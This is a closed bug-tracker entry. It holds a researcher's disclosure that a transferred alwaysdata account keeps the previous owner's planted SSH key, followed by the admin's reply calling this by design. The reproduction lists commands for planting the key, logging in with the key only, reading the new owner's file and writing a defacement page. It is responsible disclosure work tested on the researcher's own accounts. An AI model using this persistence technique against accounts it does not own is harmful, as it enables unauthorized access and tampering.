Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by prahara_sec - 16.09.2026
Last edited by cbay - 16.09.2026

FS#483 - Account transfer leaves previous owner with permanent unrevocable SSH access

# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access

Researcher: (submit via security.alwaysdata.com task)
Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-<account>.alwaysdata.net
Severity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Date: 2026-09-16

## Summary

An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).
When the account changes hands, the previous owner keeps full SSH shell access to it — provided they
planted an SSH public key while they still owned the account.

The key survives the ownership change, is not visible anywhere in the new owner's panel or in the API,
and keeps working after the new owner rotates the SSH user's password. The SSH user also cannot be
deleted
— the panel renders the delete control disabled with `title="Impossible deletion"` — so the new
owner has no way inside the platform to remove the previous owner's access.

Net effect: the new owner receives an account that a third party they know nothing about can still log
into, read, and write.

## Affected asset

- `https://admin.alwaysdata.com/transfer/` — account transfer flow
- `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/<id>/` — SSH user management
- `ssh-<account>.alwaysdata.net` — SSH endpoint
- Underlying defect: `~/.ssh/authorized_keys` of the account's SSH user is account content that survives

the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.

## Reproduction

Two accounts, both owned by me, on the same platform. No third-party data is involved.

Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).

1. As B, add my SSH public key to the account's SSH user:

 ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh && chmod 700 ~/.ssh
 echo "ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test" >> ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```

2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A's email`.

 As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows "No pending transfer" and A's `Subscriptions` now lists `adsecb01`.

3. The panel access of B is correctly revoked (B's account selector is empty, none of B's pages

 mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```

4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →

 Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net "echo KEY_STILL_WORKS_AFTER_ROTATION"
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```

5. There is no way for A to remove it from the panel:

  1. the `SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying

the planted key — renders its delete control as

   `<i class="far fa-trash-alt disabled" alt="Impossible deletion" title="Impossible deletion"></i>`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.
 The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.

6. Proof of actual read/write on the new owner's data — A writes files, B reads/writes with the key only:

 ```
 # as A (new owner, with the rotated password)
 echo 'SECRET-OF-NEW-OWNER' > ~/newowner_private.txt
 echo 'NEW-OWNER-DEPLOYMENT' > ~/www/deployed_by_new_owner.html
 # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo '<h1>PWNED-BY-PREVIOUS-OWNER</h1>' > ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner's domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 <h1>PWNED-BY-PREVIOUS-OWNER</h1>
 ```

## Impact

A previous owner retains persistent, password-independent, panel-invisible shell access to an account
that now belongs to someone else. From that position they can read, modify or delete the new owner's files,
databases, mail configuration and deployed code; run arbitrary processes under the account; plant web
backdoors reachable over the account's public domain; and re-establish access at will.

The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannot
delete it ("Impossible deletion"), has no UI or API to inspect its authorized keys, and rotating the
password — the natural harden-after-receiving-an-account action — does not revoke the attacker's key.
Nothing in the client area signals that a third party still holds working credentials.

This is the same class as two reports you already fixed and paid:
-  FS#139  — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*
-  FS#294  — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*

Both relied on the same principle: an ownership change must terminate the previous owner's access.
The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.

## Recommendation

1. On account transfer, revoke the previous owner's credentials: clear (or rotate) the account's SSH

 `authorized_keys`, and/or force regeneration of the account's SSH users and their passwords.

2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)

 so the owner can see and delete every key that grants access.

3. Allow deleting/replacing the last SSH user (currently blocked as "Impossible deletion"), or at minimum

 allow clearing its authorized keys.

4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time

 event in `Logs` that lists the credentials that were active at handover.

## Notes on testing discipline

- All testing used two accounts I own; no other customer's data was accessed. The key, the files and the

web backdoor live on my own free-tier accounts and can be left in place for your retest.

- No automated scanners were used, no DoS, no third-party assets.

Closed by  cbay
16.09.2026 16:11
Reason for closing:  Invalid
Admin
cbay commented on 16.09.2026 16:11

Hello,

When the account changes hands, the previous owner keeps full SSH shell access to it — provided they
planted an SSH public key while they still owned the account.

Nothing at all is modified when an account is transferred, so any SSH key, database password or anything, really, is kept. That's by design.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing